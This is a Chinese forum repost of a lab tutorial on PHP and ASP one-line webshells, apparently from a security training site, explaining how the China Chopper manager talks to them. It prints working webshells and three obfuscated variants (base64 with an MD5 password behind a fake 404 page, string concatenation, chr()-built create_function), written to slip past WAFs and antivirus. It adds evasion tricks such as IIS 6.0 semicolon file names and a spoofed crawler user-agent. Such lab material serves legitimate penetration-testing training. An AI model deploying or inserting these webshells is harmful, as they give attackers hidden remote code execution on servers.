搜索

[19391] 2018-08-17_【动手实验】一句话木马的变形

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-08-17_【动手实验】一句话木马的变形 【 动 手 实 验 】 一 句 话 木 马 的 变 形 i 春 秋   2 0 1 8 - 0 8 - 1 7 实 验 环 境 实 验 环 境 操 作 机 ： W i n d o w s   X P 目 标 地 址 ： 1 7 2 . 1 6 . 1 2 . 2 实 验 目 的 实 验 目 的 本 部 分 主 要 学 习 一 句 话 恶 意 脚 本 工 作 的 原 理 ， 并 学 习 各 种 方 式 变 形 的 一 句 话 来 突 破 一 些 常 规 的 W A F 和 安 全 软 件 对 一 句 话 恶 意 脚 本 的 查 杀 。 实 验 工 具 实 验 工 具 中 国 菜 刀 ： 中 国 菜 刀 ： 这 里 的 中 国 菜 刀 不 是 指 切 菜 做 饭 的 工 具 ， 而 是 中 国 安 全 圈 内 使 用 非 常 广 泛 的 一 款 W e b s h e l l 管 理 工 具 ， 想 买 菜 刀 请 出 门 左 拐 东 门 菜 市 场 王 铁 匠 处 。 据 说 是 一 位 中 国 军 人 退 伍 之 后 的 作 品 中 国 菜 刀 是 一 款 专 业 的 网 站 管 理 软 件 ， 用 途 广 泛 ， 使 用 方 便 ， 小 巧 实 用 。 只 要 支 持 动 态 脚 本 的 网 站 ， 都 可 以 用 中 国 菜 刀 来 进 行 管 理 ！ 在 非 简 体 中 文 环 境 下 使 用 ， 自 动 切 换 到 英 文 界 面 。 U I N C O D E 方 式 编 译 ， 支 持 多 国 语 言 输 入 显 示 。 只 要 支 持 动 态 脚 本 的 网 站 ， 都 可 以 用 中 国 菜 刀 来 进 行 管 理 ！ 主 要 功 能 有 ： 文 件 管 理 ， 虚 拟 终 端 ， 数 据 库 管 理 。 实 验 内 容 实 验 内 容 本 部 分 概 览 本 部 分 概 览 一 句 话 脚 本 的 工 作 原 理 一 句 话 恶 意 脚 本 的 变 形 加 密 类 变 形 变 量 拼 接 类 变 形 加 密 拼 接 类 变 形 了 解 一 句 话 脚 本 的 工 作 原 理 了 解 一 句 话 脚 本 的 工 作 原 理 一 句 话 脚 本 的 工 作 原 理 ： 一 句 话 脚 本 的 工 作 原 理 ： 一 句 话 恶 意 脚 本 分 析 服 务 端 与 客 户 端 。 ( 此 处 以 a s p 脚 本 语 言 简 述 原 理 ） 一 句 话 恶 意 脚 本 服 务 端 就 是 我 们 要 用 来 插 入 到 a s p 文 件 中 的 a s p 语 句 ， （ 不 仅 仅 是 以 a s p 为 后 缀 的 数 据 库 文 件 ） ， 该 语 句 将 回 为 触 发 ， 接 收 入 侵 者 通 过 客 户 端 提 交 的 数 据 ， 执 行 并 完 成 相 应 的 操 作 ， 服 务 端 的 代 码 内 容 为 < % e x e c u t e r e q u e s t ( " p a s s " ) % >   其 中 p a s s 可 以 自 己 修 改 。 一 句 话 恶 意 脚 本 客 户 端 （ 即 为 中 国 菜 刀 主 程 序 ） 用 来 向 服 务 端 提 交 控 制 数 据 的 ， 提 交 的 数 据 通 过 服 务 端 构 成 完 整 的 a s p 功 能 语 句 并 执 行 。 我 们 尝 试 抓 取 我 们 尝 试 抓 取 h t t p 日 志 来 剖 析 菜 刀 技 术 原 理 ： 日 志 来 剖 析 菜 刀 技 术 原 理 ： 在 上 述 试 验 中 ， 我 们 最 开 始 连 接 的 h a c k . p h p 的 代 码 如 下 ： ＜ ? p h p     e v a l     （ $ _ P O S T [ ' p a s s ' ] ） ； ? ＞ 在 P H P 的 代 码 中 ： e v a （ ）   函 数 把 字 符 串 按 照   P H P   代 码 来 计 算 。 该 字 符 串 必 须 是 合 法 的   P H P   代 码 ， 且 必 须 以 分 号 结 尾 。 如 果 没 有 在 代 码 字 符 串 中 调 用   r e t u r n   语 句 ， 则 返 回   N U L L 。 如 果 代 码 中 存 在 解 析 错 误 ， 则   e v a l （ ）   函 数 返 回   f a l s e 。 在 我 们 通 过 中 国 菜 刀 进 行 文 件 管 理 的 时 候 ， 系 统 在 做 什 么 呢 ？ 在 这 里 我 们 需 要 查 看 系 统 的 日 志 进 行 查 找 答 案 在 这 里 我 们 需 要 查 看 系 统 的 日 志 进 行 查 找 答 案 ( 1 )   查 看 系 统 日 志 ( 2 ) 重 新 使 用 菜 刀 的 文 件 管 理 功 能 抓 取 日 志 我 们 在 中 国 菜 刀 中 重 新 使 用 文 件 管 理 的 功 能 ， 其 后 服 务 器 端 产 生 了 日 志 信 息 。 服 务 器 端 产 生 了 如 下 日 志 信 息 （ 以 下 数 据 为 服 务 器 端 日 志 数 据 ， 在 实 验 环 境 中 无 法 查 看 ， 仅 作 理 论 参 考 ） ： 1 7 2 . 1 6 . 1 1 . 2   -   -   [ 2 2 / N o v / 2 0 1 6 : 0 8 : 3 1 : 0 2   + 0 8 0 0 ]   " P O S T   / h a c k . p h p   H T T P / 1 . 1 "   2 0 0   4 7 7   " h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / "   " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   B a i d u s p i d e r / 2 . 0 ;   + h t t p : / / w w w . b a i d u . c o m / s e a r c h / s p i d e r . h t m l ) " 日 志 的 主 要 信 息 如 下 ： 日 志 的 主 要 信 息 如 下 ： P O S T   / h a c k . p h p 为 请 求 的 方 式 ， M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   B a i d u s p i d e r / 2 . 0 ;   + h t t p : / / w w w . b a i d u . c o m / s e a r c h / s p i d e r . h t m l   为 用 户 浏 览 器 的 u s e r - a g e n t . 依 此 我 们 能 够 得 到 一 下 结 论 ： 依 此 我 们 能 够 得 到 一 下 结 论 ： ( 1 ) 中 国 菜 刀 的 请 求 方 式 为 p o s t 。 ( 2 ) 中 国 菜 刀 模 拟 了 百 度 爬 虫 的 u s e r - a g e n t . 由 于 A p a c h e 不 记 录 p o s t 请 求 中 的 d a t a 信 息 ， 我 们 也 不 在 这 里 具 体 演 示 记 录 p o s t 的 方 式 ， 需 要 大 家 知 道 的 是 ： 中 国 菜 刀 默 认 的 连 接 中 使 用 b a s e 6 4 的 方 式 进 行 编 码 传 输 ， 以 便 逃 脱 抓 捕 。 一 句 话 脚 本 的 变 形 一 句 话 脚 本 的 变 形 实 际 渗 透 测 试 中 会 有 各 种 的 安 全 软 件 和 W A F 拦 截 我 们 的 菜 刀 和 一 句 话 文 件 传 输 数 据 并 查 杀 我 们 的 一 句 话 文 件 ， 于 是 需 要 对 一 句 话 文 件 进 行 加 密 、 拆 分 等 变 形 。 我 们 整 理 了 三 个 一 句 话 脚 本 的 变 形 ， 我 们 将 分 别 进 行 测 试 。
为 了 避 免 实 验 中 产 生 干 扰 ， 请 在 每 次 测 试 前 ， 将 之 前 的 s h e l l 连 接 删 除 掉 。 提 示 ： 在 本 次 实 验 中 提 示 ： 在 本 次 实 验 中 , 访 问 目 标 网 址 访 问 目 标 网 址 1 7 2 . 1 6 . 1 2 . 2 进 行 实 验 进 行 实 验 实 验 步 骤 实 验 步 骤 案 例 案 例 1   加 密 类 变 形 加 密 类 变 形 p h p 一 句 话 恶 意 脚 本 带 4 0 4 页 面 , 带 M D 5 加 密 , 可 浏 览 器 P O S T 任 意 p h p 代 码 执 行 .   代 码 如 下 : < ? p h p   e c h o " 4 0 4 N o t F o u n d ! < / b r > " ;   e r r o r _ r e p o r t i n g ( 0 ) ; i f ( i s s e t ( $ _ P O S T [ ' c o m ' ] ) & & m d 5 ( $ _ P O S T [ ' c o m ' ] ) = =   ' 7 9 1 d c 3 1 2 b 3 8 0 1 6 e f 9 9 8 c 1 c 1 4 6 1 0 4 c d 5 a ' & &   i s s e t ( $ _ P O S T [ ' c o n t e n t ' ] ) )   $ c o n t e n t   =   s t r t r ( $ _ P O S T [ ' c o n t e n t ' ] ,   ' - _ , ' ,   ' + / = ' ) ; e v a l ( b a s e 6 4 _ d e c o d e ( $ c o n t e n t ) ) ; e c h o   " W e ' r e   s o r r y   b u t   t h e   p a g e   y o u r   a r e   l o o k i n g   f o r   i s   N o t   F o u n d . . . " ? > 在 菜 刀 里 写 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / h a c k 1 . p h p   密 码 : p a g e 菜 刀 配 置 填 ： ＜ O ＞ c o m = s e t t o k e n & c o n t e n t = Z X Z h b C g k X 1 B P U 1 R b J 3 B h Z 2 U n X S k 7 ＜ / O ＞ 案 例 案 例 2   变 量 拼 接 类 变 形 变 量 拼 接 类 变 形 w e b s h e l l 的 代 码 如 下 < ? p h p   $ s F = " P C T 4 B A 6 O D S E _ " ; $ s 2 1 = s t r t o l o w e r ( $ s F [ 4 ] . $ s F [ 5 ] . $ s F [ 9 ] . $ s F [ 1 0 ] . $ s F [ 6 ] . $ s F [ 3 ] . $ s F [ 1 1 ] . $ s F [ 8 ] . $ s F [ 1 0 ] . $ s F [ 1 ] . $ s F [ 7 ] . $ s F [ 8 ] . $ s F [ 1 0 ] ) ; $ s 2 2 = $ { s t r t o u p p e r ( $ s F [ 1 1 ] . $ s F [ 0 ] . $ s F [ 7 ] . $ s F [ 9 ] . $ s F [ 2 ] ) } [ ' n 9 8 5 d e 9 ' ] ; i f ( i s s e t ( $ s 2 2 ) ) { e v a l ( $ s 2 1 ( $ s 2 2 ) ) ; } ? > 在 菜 刀 里 写 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / h a c k 2 . p h p   密 码 是 : 0 ( 删 除 之 前 添 加 的 s h e l l 地 址 ) 菜 刀 配 置 填 ： ＜ O ＞ n 9 8 5 d e 9 = Q G V 2 Y W w o J F 9 Q T 1 N U W z B d K T s = ＜ / O ＞
案 例 案 例 3   加 密 拼 接 类 变 形 加 密 拼 接 类 变 形 w e b s h e l l 的 代 码 如 下 ： < ? p h p $ _ u U = c h r ( 9 9 ) . c h r ( 1 0 4 ) . c h r ( 1 1 4 ) ; $ _ c C = $ _ u U ( 1 0 1 ) . $ _ u U ( 1 1 8 ) . $ _ u U ( 9 7 ) . $ _ u U ( 1 0 8 ) . $ _ u U ( 4 0 ) . $ _ u U ( 3 6 ) . $ _ u U ( 9 5 ) . $ _ u U ( 8 0 ) . $ _ u U ( 7 9 ) . $ _ u U ( 8 3 ) . $ _ u U ( 8 4 ) . $ _ u U ( 9 1 ) . $ _ u U ( 4 9 ) . $ _ u U ( 9 3 ) . $ _ u U ( 4 1 ) . $ _ u U ( 5 9 ) ; $ _ f F = $ _ u U ( 9 9 ) . $ _ u U ( 1 1 4 ) . $ _ u U ( 1 0 1 ) . $ _ u U ( 9 7 ) . $ _ u U ( 1 1 6 ) . $ _ u U ( 1 0 1 ) . $ _ u U ( 9 5 ) . $ _ u U ( 1 0 2 ) . $ _ u U ( 1 1 7 ) . $ _ u U ( 1 1 0 ) . $ _ u U ( 9 9 ) . $ _ u U ( 1 1 6 ) . $ _ u U ( 1 0 5 ) . $ _ u U ( 1 1 1 ) . $ _ u U ( 1 1 0 ) ; $ _ = $ _ f F ( " " , $ _ c C ) ; @ $ _ ( ) ; ? > 在 菜 刀 里 写 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / h a c k 3 . p h p   连 接 密 码 ： 1 ( 删 除 之 前 添 加 的 s h e l l 地 址 ) 在 上 述 的 三 个 测 试 中 ， 我 们 可 能 存 在 的 “ 安 全 卫 士 ” 进 行 的 模 拟 的 绕 过 操 作 。 而 在 实 际 的 工 作 中 ， 我 们 可 能 会 遇 到 更 多 的 类 型 。 在 常 见 的 绕 过 的 套 路 中 ， 一 般 使 用 以 下 几 种 方 式 进 行 绕 过 处 理 ： 在 常 见 的 绕 过 的 套 路 中 ， 一 般 使 用 以 下 几 种 方 式 进 行 绕 过 处 理 ： 1 、   第 一 种 ， 使 用 各 种 分 号   例 如 ： / ; . s h e l l . a s p ; . j p g 和 / ; 1 . a s p / 1 . j p g ( 这 里 仅 适 用 于 I I S 6 . 0 ) 2 、 第 二 种   把 菜 刀 提 交 的 内 容 在 中 转 文 件 替 换 修 改 。 3 、 第 三 种   替 换 关 键 词 ， 防 止 安 全 工 具 针 对 特 定 的 关 键 字 进 行 查 杀 。 4 、   第 四 种   伪 装 爬 虫 ， 不 使 用 特 定 的 u s e r - a g e n t 。 戳 阅 读 原 文 ， 参 与 实 验 吧 戳 阅 读 原 文 ， 参 与 实 验 吧 ~
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理